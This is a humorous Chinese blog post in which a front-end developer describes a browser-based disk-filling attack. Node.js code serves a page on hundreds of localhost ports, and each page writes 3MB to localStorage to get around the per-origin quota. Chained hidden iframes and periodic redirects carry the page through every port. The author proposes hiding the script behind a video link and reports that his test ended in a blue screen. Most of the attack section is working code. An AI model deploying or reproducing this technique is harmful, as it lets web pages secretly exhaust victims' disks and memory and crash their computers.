作為一個前端,可以如何機智地弄壞一臺電腦?
有人說,前端的界限就在瀏覽器那兒。
無論你觸發了多少bug,最多導致瀏覽器崩潰,對系統影響不到哪去。 這就像二次元各種炫酷的毀滅世界,都不會導致三次元的世界末日。 然而,作為一個前端,我發現是有方式打開次元大門的…
這個實驗腦洞較大,動機無聊,但某種意義上反映了一些安全問題。 想象一下,有天你在家里上網,吃著火鍋還唱著歌,點開一個鏈接,電腦突然就藍屏了!想想還真有點小激動。
起因
故事得從localStorage說起。
html5的本地存儲,相信大家都不陌生。將數據以二進制文件形式存儲到本地,在當前應用得非常廣泛。 windows下的chrome,localStorage存儲于C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Default\Local Storage
文件夾中。但如果任由網頁***寫文件,對用戶硬盤的傷害可想而知,因而瀏覽器對其做了大小限制。
對于一個域名+端口,PC側的上限是5M-10M之間,移動側是則不大于2.5M。
那么問題就變成:這樣的限制足夠保護用戶硬盤了嗎?
關鍵
關鍵的問題在于,這一限制,針對的是一個域名+端口
。 也就是說,你訪問同一個域名的不同端口
,它們的localStorage并無關聯,是分開存儲的。
我用node簡單地開啟了服務器,這時,用戶訪問http://127.0.0.1:1000
到http://127.0.0.1:1099
這100個端口,會請求到同一個頁面:index.html
:
- var http = require('http');
- var fs = require('fs');
- //100個端口
- for(var port = 1000; port< 1100; port++){
- http.createServer(function (request, response) {
- //請忽略這種循環讀文件的方式,只為了簡便
- fs.readFile('./index.html', function(err, content){
- if(err) {
- } else {
- response.writeHead(200, { 'Content-Type' : 'text/html; charset=UTF-8' });
- response.write(content);
- response.end();
- }
- });
- }).listen(port, '127.0.0.1');
- }
當然,這個index.html里涉及了localStorage寫操作。
- var s = "";
- //慢慢來,別寫太大了,好害怕…
- for(var i=0; i< 3 * 1024 * 1024; i++){
- s += "0";
- }
- localStorage.setItem("testData", s);
我試著用瀏覽器分別訪問了幾個端口,結果是分開存儲。一切跟劇本一樣。
自動遍歷
但這種程度還不夠。 如果要實驗變得更好(xie)玩(e)一些,問題就變成如何讓用戶自動遍歷這些端口
?
iframe是個好的嘗試。 只要一打開http://127.0.0.1: 1000
,頁面的腳步就會創建一個iframe,去請求http://127.0.0.1: 1001
,一直循環下去。
- var Main = (function(){
- var _key = "testData";
- var _max = 1100; //***限制
- return {
- init: function(){
- //慢慢來,別寫太大了,好害怕…
- var s = "";
- for(var i=0; i< 3 * 1024 * 1024; i++){
- s += "0";
- }
- localStorage.setItem(_key, s);
- var port = parseInt(location.port)+1;
- if(port > _max) return;
- //新添加iframe
- var url = "http://127.0.0.1:" + port;
- var $iframe = document.createElement("iframe");
- $iframe.src = url;
- document.getElementsByTagName("body")[0].appendChild($iframe);
- }
- }
- })();
當然iframe我們還可以設置為不可見,以掩蓋這種不厚道的行為…
比方說,有人發給你一個鏈接,你打開后發現是個視頻,而你根本注意不到背后的腳本,在視頻播放的幾分鐘里,快要把你的C盤寫滿。
然后我就看到請求如潮水漸漲:
但是,請求到1081端口,***的chrome就崩潰掉了…原來iframe嵌套太多,已經到達了瀏覽器的極限。
防止瀏覽器崩潰
C盤還未撐滿,同志還需努力。怎么辦?
突然想到,到達iframe極限之前,我們可以重定向啊。 每訪問50個端口,就使用.href
重定向一次,去確保瀏覽器不崩潰。
- var Main = (function(){
- var _key = "testData";
- var _max = 1200; //***限制
- var _jumpSpace = 50; //為避免iframe過多導致瀏覽器crash,每50個執行跳轉
- return {
- init: function(){
- //慢慢來,別寫太大了,好害怕…
- var s = "";
- for(var i=0; i< 3 * 1024 * 1024; i++){
- s += "0";
- }
- localStorage.setItem(_key, s);
- var port = parseInt(location.port)+1;
- if(port > _max) return;
- if(port % _jumpSpace == 0){
- //每50個,重定向一次
- window.location.href = url;
- }else{
- //新添加iframe
- var $iframe = document.createElement("iframe");
- $iframe.src = url;
- document.getElementsByTagName("body")[0].appendChild($iframe);
- }
- }
- }
- })();
事實證明,這種蠻拼的方法的確可行。
至此,只要訪問http://127.0.0.1: 1000
,就會往Local Storage文件夾里寫入近500M無用數據:
里面的數據是這樣的:
繼續實驗的黑科技
算了下我的C盤還有空間嘛,那就把端口數量從100增長到200個。 結果是這樣的,到達了1.17G大小。
在后續的實驗中,我就慢慢的把端口數量與存儲的數據調大。
電腦也運行得越來越慢。這是為什么呢?
我觀察到,有時候執行localStorage.setItem()
后,在文件夾里不一定立即能看到數據文件。 懷疑這些數據會被chrome先放到內存里,以避免重復讀寫帶來的消耗,在空閑或關閉的時機,再寫進硬盤里。
但此時,瀏覽器已經影響到系統了。它處于一種“不會崩潰”,但“因為占用了許多內存,已經妨礙用戶電腦的正常使用”的狀態。 即使用戶關閉了瀏覽器窗口,也不會很快恢復。要知道讀寫任務并不是隨窗口關閉而終止的,否則瀏覽器會丟失數據。
遭遇黑科技的人們能做的只有:
-
等待;
-
用任務管理器關掉chrome進程,再等待;
-
相信并嘗試“重啟電腦解決90%電腦問題”的科學論斷
可以說,瀏覽器的內心幾乎是崩潰的。
***
***,還是得用嚴肅臉告誡一下:害人之心不可無。 本實驗,從一開始就是懷揣著將安全問題上交給國家的初衷去做的(是的就是這么純粹)。
后續,看著C盤還有2G空間,我又把端口增長到2000個,試下會發生什么。 由于請求過多,需要一定時間,我就去做別的事情了。 回來后發現房間安靜祥和,一片藍光,像是加了特技。
那么問題來了,計算機修理哪家強?
有點急…